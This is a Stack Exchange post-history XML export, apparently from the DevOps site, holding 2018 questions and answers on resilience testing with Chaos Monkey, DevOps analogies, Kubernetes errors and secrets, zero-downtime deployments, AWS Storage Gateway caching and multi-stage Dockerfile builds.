  <row Id="12469" PostHistoryTypeId="2" PostId="3975" RevisionGUID="73ef6f1e-d177-4811-b4b1-8bf03509c62a" CreationDate="2018-04-26T21:04:26.857" UserId="210" Text="&gt; I have a repository in GitLab that is used by our development team. On&#xD;&#xA;&gt; the other hand, there is a VSTS setup (at xyz.visualstudio.com) that&#xD;&#xA;&gt; we use to manage our scrum board.&#xD;&#xA;&#xD;&#xA;First impression is that you should either choose one repository or check the API of both products to investigate whether the tools could be integrated. From a DevOps perspective, repetitive processes like this that are done manually over and over again should be automated." ContentLicense="CC BY-SA 3.0" />
  <row Id="12471" PostHistoryTypeId="50" PostId="3127" RevisionGUID="d37033f1-26f5-405d-b789-11c8a81f7a1b" CreationDate="2018-04-27T01:04:16.293" UserId="-1" />
  <row Id="12473" PostHistoryTypeId="2" PostId="3976" RevisionGUID="fdf92e73-aba7-4555-8256-ad40a796db44" CreationDate="2018-04-27T08:28:59.117" UserId="210" Text="Back in the day [this Q&amp;A][1] was created.&#xD;&#xA;&#xD;&#xA;ChaosMonkey is a tool that is able to stop random services on a platform in a certain time period. The goal of this is to get a stable platform that is fault tolerant. If this happens during the day when most of the Engineers are working, they get proactive and the infrastructure will be hardened.&#xD;&#xA;&#xD;&#xA;At the moment, more and more services are created in AWS, GCP and Azure. The services on these platforms are getting more and more critical. Now it is time to onboard more and more engineers. Especially most of the developers are still silo minded, i.e. some of them only want to develop, but this is shifting drop by drop.&#xD;&#xA;&#xD;&#xA;According to [Wikipedia][2], ChaosMonkey was invented at Netflix and additional resilience tools were created as well:&#xD;&#xA;&#xD;&#xA;    | Purpose                                        | Tool              |&#xD;&#xA;    |:----------------------------------------------:|:-----------------:|&#xD;&#xA;    | Stops random services in production randomly   | Chaos Monkey      |&#xD;&#xA;    | Drop an availability zone, e.g. in AWS         | Chaos Gorilla     |&#xD;&#xA;    | Communication delays                           | Latency Monkey    |&#xD;&#xA;    | Fix unhealthy services                         | Doctor Monkey     |&#xD;&#xA;    | Dispose unused resources                       | Janitor Monkey    |&#xD;&#xA;    | Detect nonconforming instance and notify owner | Conformity Monkey |&#xD;&#xA;    | Disable instances that are vulnerable          | Security Monkey   |&#xD;&#xA;    | Detect problems between 10-18                  | 10-18 Monkey      |&#xD;&#xA;&#xD;&#xA;Based on this table one could also achieve also the same purpose by start to write some shell scripts that stop random services for example.&#xD;&#xA;&#xD;&#xA;Based on the information that was read, the definition of resilience-testing is basically testing if an app and underlying infrastructure is error prone in production.&#xD;&#xA;&#xD;&#xA;This is also confirmed by [this blog post][3] that refers to how resilience testing is done at AWS, but also describes IBMs view on this type of testing. According to IBM there are two parts that have to be taken into account, i.e. problem impact and service level. In an ideal world the customer will not notice any downtime at all, but if a machine dies (minutes) or a complete data center (hours) then the customer could experience downtime. The most important thing to be transparently as possible to the customer and to minimize impact.&#xD;&#xA;&#xD;&#xA;**Resilience testing is DevOps related**&#xD;&#xA;&#xD;&#xA;Some people could argue that testing is not part of DevOps, but according to [Wikipedia][2], tools like ChaosMonkey are aligned with the DevOps toolchain.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/191/210&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Chaos_Monkey&#xD;&#xA;  [3]: https://usersnap.com/blog/resilience-testing/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12474" PostHistoryTypeId="1" PostId="3976" RevisionGUID="fdf92e73-aba7-4555-8256-ad40a796db44" CreationDate="2018-04-27T08:28:59.117" UserId="210" Text="What is resilience testing and how could it be implemented in teams and companies?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12475" PostHistoryTypeId="3" PostId="3976" RevisionGUID="fdf92e73-aba7-4555-8256-ad40a796db44" CreationDate="2018-04-27T08:28:59.117" UserId="210" Text="&lt;resilience-testing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12476" PostHistoryTypeId="4" PostId="3976" RevisionGUID="772b63ab-045e-40fe-8455-f6eaf0466591" CreationDate="2018-04-27T09:23:19.780" UserId="210" Comment="edited title" Text="Do you apply resilience testing in your company? If true, why, how and what effect does it have on the Engineers? If false, why not?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12477" PostHistoryTypeId="5" PostId="3976" RevisionGUID="772b63ab-045e-40fe-8455-f6eaf0466591" CreationDate="2018-04-27T09:23:19.780" UserId="210" Comment="edited title" Text="Back in the day [this Q&amp;A][1] was created.&#xD;&#xA;&#xD;&#xA;ChaosMonkey is a tool that is able to stop random services on a platform in a certain time period. The goal of this is to get a stable platform that is fault tolerant. If this happens during the day when most of the Engineers are working, they get proactive and the infrastructure will be hardened.&#xD;&#xA;&#xD;&#xA;At the moment, more and more services are created in AWS, GCP and Azure. The services on these platforms are getting more and more critical. Now it is time to onboard more and more engineers. Especially most of the developers are still silo minded, i.e. some of them only want to develop, but this is shifting drop by drop.&#xD;&#xA;&#xD;&#xA;According to [Wikipedia][2], ChaosMonkey was invented at Netflix and additional resilience tools were created as well:&#xD;&#xA;&#xD;&#xA;    | Purpose                                        | Tool              |&#xD;&#xA;    |:----------------------------------------------:|:-----------------:|&#xD;&#xA;    | Stops random services in production randomly   | Chaos Monkey      |&#xD;&#xA;    | Drop an availability zone, e.g. in AWS         | Chaos Gorilla     |&#xD;&#xA;    | Communication delays                           | Latency Monkey    |&#xD;&#xA;    | Fix unhealthy services                         | Doctor Monkey     |&#xD;&#xA;    | Dispose unused resources                       | Janitor Monkey    |&#xD;&#xA;    | Detect nonconforming instance and notify owner | Conformity Monkey |&#xD;&#xA;    | Disable instances that are vulnerable          | Security Monkey   |&#xD;&#xA;    | Detect problems between 10-18                  | 10-18 Monkey      |&#xD;&#xA;&#xD;&#xA;Based on this table one could also achieve also the same purpose by start to write some shell scripts that stop random services for example.&#xD;&#xA;&#xD;&#xA;Based on the information that was read, the definition of resilience-testing is basically testing if an app and underlying infrastructure is error prone in production.&#xD;&#xA;&#xD;&#xA;This is also confirmed by [this blog post][3] that refers to how resilience testing is done at AWS, but also describes IBMs view on this type of testing. According to IBM there are two parts that have to be taken into account, i.e. problem impact and service level. In an ideal world the customer will not notice any downtime at all, but if a machine dies (minutes) or a complete data center (hours) then the customer could experience downtime. The most important thing to be transparently as possible to the customer and to minimize impact.&#xD;&#xA;&#xD;&#xA;Currently, resilience-testing is not used in the company, but the more is read about it, it becomes interesting. Especially as it is also aligned with DevOps and the company tries to make Engineers DevOps minded. It looks like that resilience-testing promotes a DevOps mindset.&#xD;&#xA;&#xD;&#xA;**Resilience testing is DevOps related**&#xD;&#xA;&#xD;&#xA;Some people could argue that testing is not part of DevOps, but according to [Wikipedia][2], tools like ChaosMonkey are aligned with the DevOps toolchain.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/191/210&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Chaos_Monkey&#xD;&#xA;  [3]: https://usersnap.com/blog/resilience-testing/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12478" PostHistoryTypeId="4" PostId="3976" RevisionGUID="8b374563-6c8b-4c24-bb21-cc0145329bd6" CreationDate="2018-04-27T09:29:06.607" UserId="210" Comment="edited title" Text="Apply resilience testing in a company (to promote DevOps)? If true, why, how and what effect does it have on the Engineers? If false, why not?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12479" PostHistoryTypeId="4" PostId="3976" RevisionGUID="c280be2e-f4b1-427e-b433-c611248e1af9" CreationDate="2018-04-27T09:38:29.487" UserId="210" Comment="edited title" Text="Apply resilience-testing in a company (to promote DevOps)? If true, why, how and what effect does it have on the Engineers? If false, why not?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12481" PostHistoryTypeId="2" PostId="3977" RevisionGUID="faabfa7e-dee1-4172-8ef8-b543cdb4cb18" CreationDate="2018-04-27T10:08:37.283" UserId="210" Text="Some presenters use analogies to clarify a certain technology, e.g. [Pizza as a Service 2.0][1] that explains the differences between different as-a-Service (aaS) stacks.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;When one Googles &quot;DevOps analogy&quot;, various images are shown, but not of them is very catchy.&#xD;&#xA;&#xD;&#xA;**Definition of &quot;fetching&quot;**&#xD;&#xA;&#xD;&#xA; 1. Show the image in a presentation&#xD;&#xA; 2. Talk 30 seconds about it&#xD;&#xA; 3. During the elevator pitch more and more people understand DevOps and it is completely clear by them.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.paulkerrison.co.uk/random/pizza-as-a-service-2-0&#xD;&#xA;  [2]: https://i.stack.imgur.com/79BoJ.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="12482" PostHistoryTypeId="1" PostId="3977" RevisionGUID="faabfa7e-dee1-4172-8ef8-b543cdb4cb18" CreationDate="2018-04-27T10:08:37.283" UserId="210" Text="What is a fetching DevOps analogy?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12483" PostHistoryTypeId="3" PostId="3977" RevisionGUID="faabfa7e-dee1-4172-8ef8-b543cdb4cb18" CreationDate="2018-04-27T10:08:37.283" UserId="210" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12484" PostHistoryTypeId="4" PostId="3977" RevisionGUID="0987ae9e-a033-491c-8f63-3017550c5c0c" CreationDate="2018-04-27T10:14:15.833" UserId="210" Comment="edited title" Text="What are fetching DevOps analogies?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12485" PostHistoryTypeId="5" PostId="3977" RevisionGUID="0987ae9e-a033-491c-8f63-3017550c5c0c" CreationDate="2018-04-27T10:14:15.833" UserId="210" Comment="edited title" Text="Some presenters use analogies to clarify a certain technology, e.g. [Pizza as a Service 2.0][1] that explains the differences between different as-a-Service (aaS) stacks.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;Advantages of this Pizza analogy is that it consists of multiple analogies, i.e. runtime aka pizza and homemade aka legacy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When one Googles &quot;DevOps analogy&quot;, various images are shown, but not of them is very catchy.&#xD;&#xA;&#xD;&#xA;**Definition of &quot;fetching&quot;**&#xD;&#xA;&#xD;&#xA; 1. Show the image in a presentation&#xD;&#xA; 2. Talk 30 seconds about it&#xD;&#xA; 3. During the elevator pitch more and more people understand DevOps and it is completely clear by them.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.paulkerrison.co.uk/random/pizza-as-a-service-2-0&#xD;&#xA;  [2]: https://i.stack.imgur.com/79BoJ.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="12486" PostHistoryTypeId="2" PostId="3978" RevisionGUID="f1dd83ac-7986-4a99-a40e-33cd8a3db305" CreationDate="2018-04-27T11:19:20.640" UserId="707" Text="Mostly for devs but knowledgeable to others with the &quot;disaster girl&quot; meme:&#xD;&#xA;&quot;Works on my machine.. Ops problem now!&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, &quot;dependency hell&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="12487" PostHistoryTypeId="2" PostId="3979" RevisionGUID="d534890b-40de-4ee8-ad87-ef9a7a64d8d1" CreationDate="2018-04-27T11:58:19.067" UserId="3533" Text="DevOps is the Industrialization of IT&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/WZvVh.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="12488" PostHistoryTypeId="2" PostId="3980" RevisionGUID="5807c131-1082-42c1-86ac-7ccbc73beef2" CreationDate="2018-04-27T13:12:55.813" UserId="210" Text="[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;What does &quot;Does not have minimum availability&quot; mean? &#xD;&#xA;&#xD;&#xA;[A GitHub discussion][2] was found, but it is not clear to me what the error message means.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/JhblC.png&#xD;&#xA;  [2]: https://github.com/kubernetes/kubernetes/issues/39785" ContentLicense="CC BY-SA 3.0" />
  <row Id="12489" PostHistoryTypeId="1" PostId="3980" RevisionGUID="5807c131-1082-42c1-86ac-7ccbc73beef2" CreationDate="2018-04-27T13:12:55.813" UserId="210" Text="What does &quot;Does not have minimum availability&quot; in k8s mean?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12490" PostHistoryTypeId="3" PostId="3980" RevisionGUID="5807c131-1082-42c1-86ac-7ccbc73beef2" CreationDate="2018-04-27T13:12:55.813" UserId="210" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12491" PostHistoryTypeId="2" PostId="3981" RevisionGUID="8d1d50d5-75c3-4e13-82b9-4fac21625a72" CreationDate="2018-04-27T13:35:44.900" UserId="7602" Text="I have two different services. Let's say Service A and Service B. Service B is dependent on Service A. Both code bases are hosted in separate repo in Bitbucket and code bases are maintained by different teams. Service A has three backend servers and Service B has seven backend servers. I use Jenkins as a CI for code deployment. So, whenever we merge the code in master branch, Jenkins start the deployment. The process is same for Service A and Service B but they have two different Jenkins server.&#xD;&#xA;&#xD;&#xA;Now, problem is that if Service A team deploy something in production independently with major changes in code base. Then whole application will break. Because Service B is not ready yet to compatible with the code changes of Service A. Let's say, parameters of a function has been changed where Service B is expecting a different parameter.&#xD;&#xA;&#xD;&#xA;I am looking for a solution, where Service A code merge in master gonna happen only it is time for deployment of Service B. So, every deployment of Service B, it first deploys the code of Service A and then follows with Service B. This whole deployment will take a lot of time. Main application should not be down by this time (because once Service A is deployed then user has to wait for Service B deployment, otherwise they will face errors). &#xD;&#xA;&#xD;&#xA;So, I am thinking if it's possible where new deployment will happen in a separate instance When deployment is completed in that instance then it will replace the previous instance. So, code will be updated in main production without any down time or error. &#xD;&#xA;&#xD;&#xA;What is the recommended way to achieve this ? Can I do something with `Ansible` in this case ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12492" PostHistoryTypeId="1" PostId="3981" RevisionGUID="8d1d50d5-75c3-4e13-82b9-4fac21625a72" CreationDate="2018-04-27T13:35:44.900" UserId="7602" Text="Deploy two independently hosted services in production at once without any downtime" ContentLicense="CC BY-SA 3.0" />
  <row Id="12493" PostHistoryTypeId="3" PostId="3981" RevisionGUID="8d1d50d5-75c3-4e13-82b9-4fac21625a72" CreationDate="2018-04-27T13:35:44.900" UserId="7602" Text="&lt;jenkins&gt;&lt;ansible&gt;&lt;continuous-integration&gt;&lt;linux&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12494" PostHistoryTypeId="2" PostId="3982" RevisionGUID="02d79b60-dbfb-4418-9fdb-c538fe4ab94b" CreationDate="2018-04-27T13:45:15.087" UserId="13" Text="I think you're taking the problem on the wrong side, you may start a whole new infrastructure aside and then switch loadbalancers from blue to green, loosing sessions, breaking ongoing transactions etc.&#xD;&#xA;&#xD;&#xA;The proper way to achieve what you're doing is coding differently, when A relasease a breaking API ni version n, a should be able to continue to answer call to api in version n-1. the usual method is to have the version in the uri or an header, for exemple:&#xD;&#xA;&#xD;&#xA;`&lt;a-host&gt;/api/1/getCustomers` and `&lt;a-host&gt;/api/2/getCustomerList` (for exemple if n is 2). With that, you can do a rolling update of B, with backends still using api v1 and new ones using api v2." ContentLicense="CC BY-SA 3.0" />
  <row Id="12495" PostHistoryTypeId="2" PostId="3983" RevisionGUID="a3a337cd-19d4-4b5f-802f-f9dc3c7412a7" CreationDate="2018-04-27T14:15:51.640" UserId="7250" Text="I have a problem in the storage gateway that the cache volume is full, when we look at the operating system there is still space available on that volume, based on the referenced model aws, should only be kept in the cache the files accessed regularly, but apparently is keeping all the files thus filling the cache and causing the requests of the users and applications to be made directly in aws.This causes a letindon that takes 2 minutes to open a pdf file of 2 MB.&#xD;&#xA;&#xD;&#xA;I need to identify how to verify if it is actually retaining only the recently used files or is retaining all the files because our local storage is very large, we have 4TB volumes and it is full, in addition to other smaller volumes that are also almost full.&#xD;&#xA;&#xD;&#xA;how could i proceed to perform the cache cleaning and start a new storage cycle in a safe way so you do not need to increase the cache.&#xD;&#xA;I'm grateful if you can help me" ContentLicense="CC BY-SA 3.0" />
  <row Id="12496" PostHistoryTypeId="1" PostId="3983" RevisionGUID="a3a337cd-19d4-4b5f-802f-f9dc3c7412a7" CreationDate="2018-04-27T14:15:51.640" UserId="7250" Text="Storage gateway reset cache" ContentLicense="CC BY-SA 3.0" />
  <row Id="12497" PostHistoryTypeId="3" PostId="3983" RevisionGUID="a3a337cd-19d4-4b5f-802f-f9dc3c7412a7" CreationDate="2018-04-27T14:15:51.640" UserId="7250" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12499" PostHistoryTypeId="2" PostId="3985" RevisionGUID="1033b8b9-98cb-48a9-86df-f27c67fe9a26" CreationDate="2018-04-27T15:28:25.403" UserId="210" Text="Whenever I see an &quot;unexpected at this time&quot; error it's in my batch scripts, and it's either because I didn't use the correct escape character, or an absolute path is incorrect. I don't see Anaconda anywhere in your PATH, but I do see Xtralien. Is it possible that you need to add Anaconda?&#xD;&#xA;&#xD;&#xA;Not changing the default directory and adding it my path variable during the installation seems to have done the trick. Thanks a bunch for the advice! " ContentLicense="CC BY-SA 3.0" />
  <row Id="12500" PostHistoryTypeId="16" PostId="3985" RevisionGUID="81eaa2c0-083a-4a7e-abf4-716357b5f9ae" CreationDate="2018-04-27T15:28:25.403" UserId="210" />
  <row Id="12503" PostHistoryTypeId="2" PostId="3987" RevisionGUID="57ba8d9c-5526-4e46-a286-f6474d13eecd" CreationDate="2018-04-27T16:01:21.583" UserId="210" Text="As @Tensibai indicated:&#xD;&#xA;&#xD;&#xA;&gt; With an ingress you can have multiples names on same port, no possible&#xD;&#xA;&gt; by exposing a port tied to only one service" ContentLicense="CC BY-SA 3.0" />
  <row Id="12504" PostHistoryTypeId="16" PostId="3987" RevisionGUID="c6776af5-5db7-4183-bded-3cd674a56506" CreationDate="2018-04-27T16:01:21.583" UserId="210" />
  <row Id="12505" PostHistoryTypeId="50" PostId="1931" RevisionGUID="f1cb1381-3863-4053-ae0e-419b769f15e9" CreationDate="2018-04-27T16:04:46.393" UserId="-1" />
  <row Id="12506" PostHistoryTypeId="5" PostId="3985" RevisionGUID="06ca481a-2472-4b19-b1ee-bea76018ca71" CreationDate="2018-04-27T16:05:30.793" UserId="210" Comment="added 52 characters in body" Text="@PrestonM indicated that:&#xD;&#xA;&#xD;&#xA;&gt; Whenever I see an &quot;unexpected at this time&quot; error it's in my batch&#xD;&#xA;&gt; scripts, and it's either because I didn't use the correct escape&#xD;&#xA;&gt; character, or an absolute path is incorrect. I don't see Anaconda&#xD;&#xA;&gt; anywhere in your PATH, but I do see Xtralien. Is it possible that you&#xD;&#xA;&gt; need to add Anaconda?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Not changing the default directory and adding it my path variable&#xD;&#xA;&gt; during the installation seems to have done the trick. Thanks a bunch&#xD;&#xA;&gt; for the advice!" ContentLicense="CC BY-SA 3.0" />
  <row Id="12507" PostHistoryTypeId="2" PostId="3988" RevisionGUID="2cbce721-9f0e-4b1d-9dee-04683d7a408d" CreationDate="2018-04-27T16:10:54.610" UserId="210" Text="@jayhendren indicated that:&#xD;&#xA;&#xD;&#xA;&gt; I think you might find the answer to your question in this SO post:&#xD;&#xA;&gt; https://stackoverflow.com/q/11024007/2777965" ContentLicense="CC BY-SA 3.0" />
  <row Id="12508" PostHistoryTypeId="16" PostId="3988" RevisionGUID="84fcfd23-1f7c-44f6-8706-e31fba4e8ffe" CreationDate="2018-04-27T16:10:54.610" UserId="210" />
  <row Id="12509" PostHistoryTypeId="2" PostId="3989" RevisionGUID="bbd37a46-1fb1-4e38-b110-7c2fd0eaa23d" CreationDate="2018-04-27T16:13:07.583" UserId="210" Text="@Tensibai indicated that:&#xD;&#xA;&#xD;&#xA;&gt; See: https://docs.aws.amazon.com/general/latest/gr/aws-ip-ranges.html if you&#xD;&#xA;&gt; really want to go this way, but there's quite large ranges, the&#xD;&#xA;&gt; 52.216.0.0 is a /15 for us-east-1 and not a /16 btw { &quot;ip_prefix&quot;: &quot;52.216.0.0/15&quot;, &quot;region&quot;: &quot;us-east-1&quot;, &quot;service&quot;: &quot;S3&quot; }," ContentLicense="CC BY-SA 3.0" />
  <row Id="12510" PostHistoryTypeId="2" PostId="3990" RevisionGUID="86c552c4-f3b5-45d7-abd8-7aa9545a4ab7" CreationDate="2018-04-27T16:28:03.463" UserId="210" Text="After a spending a lot of time I decided not to continue with this approach and decided to use Jenkins helm." ContentLicense="CC BY-SA 3.0" />
  <row Id="12511" PostHistoryTypeId="5" PostId="3511" RevisionGUID="d550e376-4b18-4d5e-bc5c-4f6e51d477a7" CreationDate="2018-04-27T16:29:38.423" UserId="210" Comment="added 1 character in body" Text="I am planning to create a microservice that reads a database and shows a graph. Are there any people who have created such a service? What are things to consider before starting? I am thinking about django and [Springboot][1]. On the other hand, perhaps it is from a &quot;do not reinvent the wheel&quot; perspective better to choose something as graphite, but then still has to configure it.&#xD;&#xA;&#xD;&#xA;I am basically seeking for a tool that is able to read a REST interface and shows the results in a graph or otherwise a framework preferably written in Kotlin, golang or java.&#xD;&#xA;&#xD;&#xA;The aim is to show how fast something is increasing in a graph. At a certain moment I also would like to show the R2, i.e. consistency of the points, slope and so on.&#xD;&#xA;&#xD;&#xA;While writing this question, at a certain moment I would also like to predict whether something will be increased in the near future, i.e. applying data science.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.baeldung.com/spring-graphql" ContentLicense="CC BY-SA 3.0" />
  <row Id="12512" PostHistoryTypeId="2" PostId="3991" RevisionGUID="363248e4-97a8-4e5a-9abb-d7c02dcd2983" CreationDate="2018-04-27T16:36:16.017" UserId="210" Text="It is possible to create a secret without passing on the commandline by reading it from file:&#xD;&#xA;&#xD;&#xA;&gt;     $ kubectl create secret generic ssh-key-secret \&#xD;&#xA;      --from-file=ssh-privatekey=/path/to/.ssh/id_rsa \&#xD;&#xA;      --from-file=ssh-publickey=/path/to/.ssh/id_rsa.pub&#xD;&#xA;&#xD;&#xA;See https://kubernetes.io/docs/concepts/configuration/secret/ for more information." ContentLicense="CC BY-SA 3.0" />
  <row Id="12513" PostHistoryTypeId="2" PostId="3992" RevisionGUID="118ba011-8243-475d-8bf2-e8117a30a9f0" CreationDate="2018-04-27T16:38:27.697" UserId="210" Text="At the moment it looks like it is not possible to define a minimum code coverage as the ticket that was created is still open https://github.com/linkedin/pygradle/issues/184" ContentLicense="CC BY-SA 3.0" />
  <row Id="12516" PostHistoryTypeId="2" PostId="3994" RevisionGUID="fe5ff17a-6118-4ba1-9631-1a2ea7abc09e" CreationDate="2018-04-27T16:43:15.690" UserId="210" Text="@euank indicated that it is not required to create a DNS record on GCP in order to make it work.&#xD;&#xA;&#xD;&#xA;https://github.com/jetstack/cert-manager/issues/399" ContentLicense="CC BY-SA 3.0" />
  <row Id="12517" PostHistoryTypeId="16" PostId="3994" RevisionGUID="53b9e9cf-95de-4a75-909f-093f29dfb7f9" CreationDate="2018-04-27T16:43:15.690" UserId="210" />
  <row Id="12519" PostHistoryTypeId="50" PostId="1746" RevisionGUID="735e800b-83e5-4839-974d-f72419f0e54d" CreationDate="2018-04-27T20:04:46.223" UserId="-1" />
  <row Id="12520" PostHistoryTypeId="2" PostId="3995" RevisionGUID="f89cf6c0-ce3e-4fe5-b91b-b5827ee7968e" CreationDate="2018-04-27T20:15:56.530" UserId="4328" Text="The most prominent DevOps analogy I can think of is the **Pet vs. Cattle** analogy on disposable infrastructure. Although, I would argue that is less about the *fetching* that is associated with the image, and more about how easy it is to understand and relate to. &#xD;&#xA;&#xD;&#xA; [![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/QlEtH.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="12521" PostHistoryTypeId="2" PostId="3996" RevisionGUID="785f7890-aca9-4baa-a7be-7dd8bcc03231" CreationDate="2018-04-27T20:31:37.087" UserId="6393" Text="I'm trying to convert my project to use multi-stage builds. However, the final step always fails with an error:&#xD;&#xA;&#xD;&#xA;    Step 11/13 : COPY --from=build /bin/grafana-server /bin/grafana-server&#xD;&#xA;    COPY failed: stat /var/lib/docker/overlay2/xxxx/merged/bin/grafana-server: no such file or directory&#xD;&#xA;&#xD;&#xA;My Dockerfile looks like this:&#xD;&#xA;&#xD;&#xA;    FROM golang:latest AS build&#xD;&#xA;    &#xD;&#xA;    ENV SRC_DIR=/go/src/github.com/grafana/grafana/&#xD;&#xA;    ENV GIT_SSL_NO_VERIFY=1&#xD;&#xA;    &#xD;&#xA;    COPY . $SRC_DIR&#xD;&#xA;    WORKDIR $SRC_DIR&#xD;&#xA;    &#xD;&#xA;    # Building of Grafana&#xD;&#xA;    RUN \&#xD;&#xA;      npm run build &amp;&amp; \&#xD;&#xA;      go run build.go setup &amp;&amp; \&#xD;&#xA;      go run build.go build&#xD;&#xA;    &#xD;&#xA;    # Create final stage containing only required artifacts&#xD;&#xA;    FROM scratch&#xD;&#xA;    COPY --from=build /bin/grafana-server /bin/grafana-server&#xD;&#xA;    &#xD;&#xA;    EXPOSE 3001&#xD;&#xA;    &#xD;&#xA;    CMD [&quot;./bin/grafana-server&quot;]&#xD;&#xA;&#xD;&#xA;The `build.go build` step will output artifacts to `./bin/` -- The error is pretty unhelpful other than telling me the files don't exist where I think they should exist.&#xD;&#xA;&#xD;&#xA;My folder structure on my machine is:&#xD;&#xA;&#xD;&#xA;    --| ~/Documents/dev/grafana/src/grafana/grafana&#xD;&#xA;    --------| bin&#xD;&#xA;    ------------| &lt;grafan-server builds to here&gt;&#xD;&#xA;&#xD;&#xA;    --------| deploy&#xD;&#xA;    ------------| docker&#xD;&#xA;    ----------------| Dockerfile&#xD;&#xA;&#xD;&#xA;From `~/Documents/dev/grafana/src/grafana/grafana` is where I issue: `docker build -t grafana -f deploy/docker/Dockerfile .`" ContentLicense="CC BY-SA 3.0" />
  <row Id="12522" PostHistoryTypeId="1" PostId="3996" RevisionGUID="785f7890-aca9-4baa-a7be-7dd8bcc03231" CreationDate="2018-04-27T20:31:37.087" UserId="6393" Text="Issues with COPY when using multistage Dockerfile builds -- no such file or directory" ContentLicense="CC BY-SA 3.0" />
  <row Id="12523" PostHistoryTypeId="3" PostId="3996" RevisionGUID="785f7890-aca9-4baa-a7be-7dd8bcc03231" CreationDate="2018-04-27T20:31:37.087" UserId="6393" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12524" PostHistoryTypeId="2" PostId="3997" RevisionGUID="ea3cd092-733f-4ebc-b33d-2785759c9501" CreationDate="2018-04-27T22:09:08.647" UserId="3009" Text="Ok. Maybe you're not gonna like it but there are some things you can do.&#xD;&#xA;&#xD;&#xA;One and most simple is to use a volume mount, eventually on a persistent storage but I think an [emptyDir][1] can work as well (or even better depending on the nature of the file you want to copy) and use an [init container ][2] to copy the file to the volume before the app container start. I don't know how you generate that file and I can't speculate about the security implications but the file needs to be in the docker image used for the init container. So, for your init container, you will have a Docker file  like &#xD;&#xA;&#xD;&#xA;    FROM ubuntu&#xD;&#xA;    COPY localfile /container/file&#xD;&#xA;    CMD cp /container/file /mnt/kube-volume&#xD;&#xA;&#xD;&#xA;replacing localfile, container/file and /mnt/kube-volume with appropriate values; you build the container image locally -on your machine, so it can contain the file-  and upload it to the (secure) docker repo along with the app container image.&#xD;&#xA;&#xD;&#xA;Another method is to upload the file to a (secure) location and have an init container or a bootstrap process that download the file when you start your main application container  in the pod.&#xD;&#xA;&#xD;&#xA;The third option is to create a docker image that contains that file and use it for the app container in your pod.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/storage/volumes/#emptydir&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/workloads/pods/init-containers/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12530" PostHistoryTypeId="5" PostId="3978" RevisionGUID="3237a188-f53c-41ae-9b1c-a7b0c2467fef" CreationDate="2018-04-28T06:51:23.080" UserId="707" Comment="added 282 characters in body" Text="Mostly for devs but knowledgeable to others with the &quot;disaster girl&quot; meme:&#xD;&#xA;&quot;Works on my machine.. Ops problem now!&quot;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, [the matrix of hell][2].&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/a1UQl.png&#xD;&#xA;  [2]: https://i2.wp.com/blog.docker.com/wp-content/uploads/2013/08/the_matrix_of_hell.jpg?ssl=1&#xD;&#xA;  [3]: https://i.stack.imgur.com/rZZ8o.jpg" ContentLicense="CC BY-SA 3.0" />
